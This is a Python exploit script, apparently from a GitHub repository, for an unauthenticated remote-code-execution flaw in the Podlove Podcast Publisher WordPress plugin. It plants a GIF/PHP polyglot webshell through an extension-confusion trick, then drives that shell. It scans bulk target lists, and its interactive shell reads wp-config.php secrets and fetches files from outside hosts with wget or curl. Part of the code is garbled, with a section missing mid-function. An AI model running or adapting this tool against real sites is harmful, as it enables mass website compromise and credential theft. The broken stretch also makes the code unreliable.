#!/usr/bin/env python3 # Archived for authorized security research only. # Source: https://github.com/ghostpels/CVE-2026-13001 (see README for attribution/license) """ Podlove Podcast Publisher <= 4.5.1 - Unauthenticated RCE Exploit CVE-2026-13001 | Extension Confusion Bypass (is_image vs extract_file_extension) Author: Ghostpels - hehehehehe Version: 1.0 Teknik: is_image() menggunakan basename() yang menyertakan query string → URL shell.php?.gif terlihat sebagai .gif (lolos validasi) extract_file_extension() menggunakan parse_url() path saja → mengembalikan .php → file tersimpan dengan ekstensi .php Payload: GIF89a polyglot (header GIF valid + kode PHP tertanam) """ import requests import hashlib import sys import time import argparse import random import threading from urllib.parse import urlparse, quote, urlencode from concurrent.futures import ThreadPoolExecutor, as_completed import re import os from datetime import datetime # Disable SSL warnings try: import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) except ImportError: pass class PodloveExtConfusionExploiter: """ CVE-2026-13001 Exploit Bypass is_image() validation via extension confusion between basename() (includes query string) and parse_url() (path only). Attack flow: 1. Host GIF89a polyglot at: attacker.com/shell.php?.gif - basename() sees "shell.php?.gif" → ext = "gif" → PASS is_image() - parse_url() sees "/shell.php" → ext = "php" → SAVED as .php 2. Trigger cache download via podlove_image_cache_url parameter 3. File saved as {name}_original.php in wp-content/cache/podlove/ 4. Access shell → RCE """ USER_AGENTS = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0', 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1', 'WordPress/6.6; https://example.com', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', ] def __init__(self, verbose=False, debug=False): self.verbose = verbose self.debug = debug self.session_pool = {} self.lock = threading.Lock() def get_session(self, thread_id=0): """Get or create a session for thread with random User-Agent""" with self.lock: if thread_id not in self.session_pool: session = requests.Session() session.headers.update({ 'User-Agent': random.choice(self.USER_AGENTS), 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', }) session.verify = False self.session_pool[thread_id] = session return self.session_pool[thread_id] def log_debug(self, msg): """Print debug messages""" if self.debug: print(f" [DBG] {msg}") def normalize_target_url(self, url): """Normalize target URL - fast, no HTTP requests""" if not url: return None url = url.strip() if url.startswith(('http://', 'https://')): return url.rstrip('/') # Default to https, no probing (too slow for bulk) return f'https://{url}'.rstrip('/') def hex_encode(self, url): """Hex encode URL for Podlove parameter""" return url.encode().hex() def build_bypass_url(self, payload_url): """ Build the extension confusion URL. Teknik: Original URL: https://attacker.com/shell.php Bypass URL: https://attacker.com/shell.php?.gif - basename("https://attacker.com/shell.php?.gif") → "shell.php?.gif" → pathinfo ext = "gif" ← lolos is_image() - parse_url("https://attacker.com/shell.php?.gif", PHP_URL_PATH) → "/shell.php" → pathinfo ext = "php" ← tersimpan sebagai .php """ # Jika payload_url sudah memiliki bypass (?. atau query trick), gunakan langsung if '?.' in payload_url or '?.gif' in payload_url: return payload_url # Tambahkan ?.gif ke URL payload untuk bypass return f"{payload_url}?.gif" def detect_podlove(self, target_url, thread_id=0): """Detect if target has Podlove plugin installed""" session = self.get_session(thread_id) detection_paths = [ '/wp-content/plugins/podlove-podcasting-plugin-for-wordpress/readme.txt', '/wp-content/plugins/podlove-podcasting-plugin-for-wordpress/podlove.php', ] for path in detection_paths: try: url = f"{target_url}{path}" self.log_debug(f"Checking: {url}") response = session.get(url, timeout=10, allow_redirects=True) if response.status_code == 200: # Try to extract version version = None version_match = re.search(r'Stable tag:\s*([\d.]+)', response.text) if version_match: version = version_match.group(1) if not version: version_match = re.search(r'Version:\s*([\d.]+)', response.text) if version_match: version = version_match.group(1) return True, version except Exception: continue # Fallback: check page source for podlove indicators try: response = session.get(target_url, timeout=10, allow_redirects=True) if 'podlove' in response.text.lower(): return True, None except Exception: pass return False, None def test_payload_accessible(self, payload_url, thread_id=0): """Test if payload file is accessible (before adding bypass suffix)""" session = self.get_session(thread_id) # Test the base URL (without ?.gif suffix) base_url = payload_url.split('?')[0] if '?' in payload_url else payload_url self.log_debug(f"Testing payload: {base_url}") try: response = session.get(base_url, timeout=10) if response.status_code == 200: content = response.content # Check for GIF89a header (polyglot) if content[:6] in [b'GIF89a', b'GIF87a']: if self.verbose: print(f" [+] Payload accessible, GIF header detected ({len(content)} bytes)") return True elif b'404', 'not found', ] content_lower = content.lower() if not any(err in content_lower for err in error_indicators): # Could be the shell but without cmd output - test with whoami whoami_url = f"{test_url}?cmd=whoami" resp2 = session.get(whoami_url, timeout=5) if resp2.status_code == 200 and len(resp2.text.strip()) > 0: # Check it's not just returning the GIF header if resp2.text.strip() not in ['GIF89a', 'GIF87a'] and len(resp2.text) < 1000: shell_url = test_url self.log_debug(f"Shell found (whoami test): {test_url}") break except Exception as e: self.log_debug(f"Check error: {e}") continue if shell_url: result['vulnerable'] = True result['shell_url'] = shell_url else: result['error'] = "Shell file not found in cache directory" except Exception as e: result['error'] = str(e) if retry_count < 1: # Max 1 retry to avoid long hangs in bulk time.sleep(1) return self.exploit_single_target(target_url, payload_url, filename, thread_id, retry_count + 1) return result def process_targets_bulk(self, targets_file, payload_url, filename, output_file, threads=10): """Process multiple targets from file""" try: with open(targets_file, 'r') as f: raw_targets = [line.strip() for line in f if line.strip()] except Exception as e: print(f"[-] Error reading targets file: {e}") return targets = [] for target in raw_targets: normalized = self.normalize_target_url(target) if normalized: targets.append(normalized) total = len(targets) print(f"[*] Loaded {total} targets from {targets_file}") sys.stdout.flush() # Test payload first print("[*] Testing payload file accessibility...") if not self.test_payload_accessible(payload_url): print("[-] Payload file not accessible. Aborting.") return output_dir = os.path.dirname(output_file) or '.' os.makedirs(output_dir, exist_ok=True) vuln_count = 0 processed = 0 print(f"\n[*] Starting bulk exploitation with {threads} threads") print(f"[*] Technique: Extension Confusion (is_image vs extract_file_extension)") print(f"[*] Output: {output_file}") print("-" * 60) start_time = time.time() with ThreadPoolExecutor(max_workers=threads) as executor: future_to_target = {} for target in targets: future = executor.submit( self.exploit_single_target, target, payload_url, filename, hash(target) % threads ) future_to_target[future] = target for future in as_completed(future_to_target): target = future_to_target[future] processed += 1 try: result = future.result(timeout=60) progress = f"[{processed}/{total}] {target}" if result['vulnerable']: vuln_count += 1 with open(output_file, 'a') as f: f.write(f"{target}|{result['shell_url']}\n") print(f"\n[+] {progress} - VULNERABLE!") print(f" Shell: {result['shell_url']}") sys.stdout.flush() else: error_msg = result.get('error', '') if self.verbose: print(f"[-] {progress} - NOT VULN ({error_msg})") else: # Always show at least short status print(f"[-] {progress}") sys.stdout.flush() if processed % 10 == 0: elapsed = time.time() - start_time rate = processed / elapsed if elapsed > 0 else 0 print(f"\n[*] Progress: {processed}/{total} ({rate:.1f} targets/sec) | Vulnerable: {vuln_count}") sys.stdout.flush() except Exception as e: print(f"[-] Error processing {target}: {e}") elapsed = time.time() - start_time print("\n" + "=" * 60) print("[*] BULK EXPLOITATION COMPLETED") print("=" * 60) print(f" Total targets: {total}") print(f" Processed: {processed}") print(f" Vulnerable: {vuln_count}") print(f" Success rate: {(vuln_count/total*100):.1f}%" if total > 0 else " N/A") print(f" Time elapsed: {elapsed:.1f} seconds") print(f" Output file: {output_file}") if vuln_count > 0: print(f"\n[*] Vulnerable targets saved to: {output_file}") print("[*] Format: target_url|shell_url") def interactive_shell(self, shell_url): """Interactive shell mode""" print(f""" {'='*60} [*] PODLOVE CVE-2026-13001 INTERACTIVE SHELL {'='*60} [*] Shell URL: {shell_url} [*] Type 'exit' or 'quit' to exit [*] Type 'help' for available commands {'='*60} """) session = requests.Session() session.headers.update({ 'User-Agent': random.choice(self.USER_AGENTS), 'Accept': '*/*', }) session.verify = False # Test shell connectivity print("[*] Testing shell connectivity...") separator = '&' if '?' in shell_url else '?' test_url = f"{shell_url}{separator}cmd=echo CVE-2026-13001-ACTIVE" try: response = session.get(test_url, timeout=10) if response.status_code == 200 and 'CVE-2026-13001-ACTIVE' in response.text: print("[+] Shell is responsive and executing commands!") elif response.status_code == 200: print("[+] Shell is responsive (HTTP 200)") else: print(f"[-] Shell not responding properly (HTTP {response.status_code})") return except Exception as e: print(f"[-] Error: {e}") return while True: try: cmd = input("\nshell> ").strip() if not cmd: continue if cmd.lower() in ['exit', 'quit']: print("[*] Exiting...") break if cmd.lower() == 'help': print(""" Available commands: !info - System information !phpinfo - PHP information !wpconfig - Read wp-config.php !download - Download file !cd - Change directory (via shell) exit/quit - Exit shell """) continue # Special commands if cmd == '!info': cmds = ['uname -a', 'id', 'pwd', 'df -h', 'free -h'] for c in cmds: self._execute_command(session, shell_url, c, separator) time.sleep(0.5) continue if cmd == '!phpinfo': self._execute_command(session, shell_url, 'php -i | head -50', separator) continue if cmd == '!wpconfig': self._execute_command(session, shell_url, 'cat $(find /var/www -name "wp-config.php" 2>/dev/null | head -1) 2>/dev/null || echo "wp-config.php not found"', separator) continue if cmd.startswith('!download '): parts = cmd.split() if len(parts) == 3: url, path = parts[1], parts[2] download_cmd = f"wget {url} -O {path} 2>/dev/null || curl {url} -o {path} 2>/dev/null" self._execute_command(session, shell_url, download_cmd, separator) continue if cmd.startswith('!cd '): cmd = f"cd {cmd[4:]} && pwd" self._execute_command(session, shell_url, cmd, separator) except KeyboardInterrupt: print("\n[*] Exiting...") break except Exception as e: print(f"[-] Error: {e}") def _execute_command(self, session, shell_url, command, separator): """Execute a single command on the shell""" exploit_url = f"{shell_url}{separator}cmd={quote(command)}" try: start_time = time.time() response = session.get(exploit_url, timeout=15) elapsed = time.time() - start_time if response.status_code == 200: print(f"\n[+] Command executed ({elapsed:.2f}s)") print("-" * 40) content = response.text # Try to extract content between
 tags
                if '
' in content and '
' in content: match = re.search(r'
(.*?)
', content, re.DOTALL) if match: print(match.group(1).strip()) else: # Remove GIF89a header if present cleaned = content.replace('GIF89a', '').replace('/*', '').strip() print(cleaned[:2000]) else: cleaned = content.replace('GIF89a', '').replace('/*', '').strip() print(cleaned[:2000]) print("-" * 40) else: print(f"[-] HTTP {response.status_code}") except Exception as e: print(f"[-] Error: {e}") def main(): parser = argparse.ArgumentParser( description='Podlove Podcast Publisher <= 4.5.1 - CVE-2026-13001 RCE Exploit (Extension Confusion)', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=f''' Teknik Bypass: is_image() menggunakan basename() → URL shell.php?.gif terlihat sebagai .gif (PASS) extract_file_extension() menggunakan parse_url() → mengembalikan .php (SAVED AS .php) Examples: # Single target (payload hosted di server Anda) %(prog)s -u http://target.com -s https://yourserver.com/shell_polyglot.gif.php --filename shell # Single target (payload dengan bypass URL langsung) %(prog)s -u http://target.com -s https://yourserver.com/shell_polyglot.gif.php?.gif --filename shell # Bulk scan %(prog)s -f targets.txt -s https://yourserver.com/shell_polyglot.gif.php -o vuln.txt -t 15 # Interactive shell %(prog)s --shell-url http://target.com/wp-content/cache/podlove/xx/xxxx/shell_original.php Output format (vuln.txt): target_url|shell_url http://target1.com|http://target1.com/wp-content/cache/podlove/xx/xxxx/shell_original.php ''' ) # Operation modes mode_group = parser.add_mutually_exclusive_group(required=True) mode_group.add_argument('-u', '--url', help='Single target URL') mode_group.add_argument('-f', '--file', help='File containing target URLs (one per line)') mode_group.add_argument('--shell-url', help='Direct shell URL for interactive mode') # Payload parameters parser.add_argument('-s', '--shell', help='URL hosting the GIF89a PHP polyglot shell') parser.add_argument('--filename', default=None, help='Custom filename for shell (default: from URL)') # Bulk mode parameters parser.add_argument('-o', '--output', help='Output file for vulnerable targets (bulk mode only)') parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads (default: 10)') # Options parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') parser.add_argument('--debug', action='store_true', help='Debug output (show all HTTP requests)') parser.add_argument('--no-payload-test', action='store_true', help='Skip payload accessibility test') args = parser.parse_args() # Validate arguments if args.file and not args.output: parser.error("Bulk mode (-f) requires output file (-o)") if (args.url or args.file) and not args.shell: parser.error("Single/bulk mode requires payload URL (-s)") if args.shell and not (args.url or args.file): parser.error("Payload URL (-s) requires target (-u or -f)") print(f""" {'='*60} [*] PODLOVE PODCAST PUBLISHER <= 4.5.1 - CVE-2026-13001 [*] Extension Confusion RCE (is_image vs extract_file_extension) [*] Author : Ghostpels - hehehehehe [*] Version 1.0 | Bypass via basename() vs parse_url() mismatch {'='*60} """) exploiter = PodloveExtConfusionExploiter(verbose=args.verbose, debug=args.debug) # MODE 3: Interactive shell if args.shell_url: exploiter.interactive_shell(args.shell_url) return # MODE 1: Single target if args.url: target = exploiter.normalize_target_url(args.url) bypass_url = exploiter.build_bypass_url(args.shell) print(f"[*] Target : {target}") print(f"[*] Payload URL : {args.shell}") print(f"[*] Bypass URL : {bypass_url}") print(f"[*] Technique : Extension Confusion (?.gif suffix)") # Test payload if not args.no_payload_test: print("\n[*] Testing payload accessibility...") if not exploiter.test_payload_accessible(args.shell): print("[-] Payload file not accessible! Make sure it's hosted and reachable.") print("[*] Use --no-payload-test to skip this check") sys.exit(1) print("[+] Payload is accessible") # Exploit print("\n[*] Exploiting target...") print("[*] Step 1: Building extension confusion URL") print(f" basename('{bypass_url}') → sees .gif extension → PASS is_image()") print(f" parse_url('{bypass_url}') → path gets .php extension → SAVED as .php") result = exploiter.exploit_single_target(target, args.shell, args.filename, thread_id=0) print("\n" + "=" * 60) if result['vulnerable']: print("[+] TARGET IS VULNERABLE!") print(f"[+] Shell URL : {result['shell_url']}") print(f"[+] Hash : {result['hash']}") print(f"[+] CVE : CVE-2026-13001") choice = input("\n[*] Start interactive shell? [Y/n]: ").strip().lower() if choice in ['y', 'yes', '']: exploiter.interactive_shell(result['shell_url']) else: print("[-] Target not vulnerable or shell not found") if result.get('error'): print(f"[-] Error: {result['error']}") print("\n[*] Tips:") print(" - Pastikan payload di-host sebagai file statis (bukan dieksekusi server)") print(" - Pastikan server target memiliki Podlove plugin aktif") print(" - Coba dengan --debug untuk melihat detail request") print(" - Coba dengan --filename untuk custom filename") print("\n[+] Single target exploitation completed") # MODE 2: Bulk targets elif args.file: if not args.output: print("[-] Output file required for bulk mode") sys.exit(1) print(f"[*] Targets file : {args.file}") print(f"[*] Payload URL : {args.shell}") print(f"[*] Output file : {args.output}") print(f"[*] Threads : {args.threads}") print(f"[*] Technique : Extension Confusion (?.gif suffix)") if os.path.exists(args.output): os.remove(args.output) exploiter.process_targets_bulk( args.file, args.shell, args.filename, args.output, args.threads ) if __name__ == "__main__": try: main() except KeyboardInterrupt: print("\n\n[*] Interrupted by user") sys.exit(0) except Exception as e: print(f"\n[-] Unexpected error: {e}") import traceback traceback.print_exc() sys.exit(1)